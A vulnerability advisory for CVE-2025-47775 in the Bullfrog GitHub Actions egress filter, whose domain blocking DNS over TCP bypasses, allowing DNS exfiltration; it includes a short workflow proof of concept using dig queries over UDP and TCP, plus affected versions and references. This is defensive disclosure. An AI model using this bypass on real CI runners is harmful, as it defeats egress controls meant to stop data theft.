CVE-2025-47775
Bullfrog's DNS over TCP bypasses domain filtering
Impact
### Summary Using tcp breaks blocking and allows DNS exfiltration. ### PoC ``` name: test on: push: branches: - "*" jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || : echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ``` ### Impact sandbox bypass 
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| actions | bullfrogsec/bullfrog | < 0.8.4 | 0.8.4 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Bullfrogsec | Bullfrog | before 0.8.4 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671
- https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4
- https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3
- https://github.com/advisories/GHSA-m32f-fjw2-37v3
- https://nvd.nist.gov/vuln/detail/CVE-2025-47775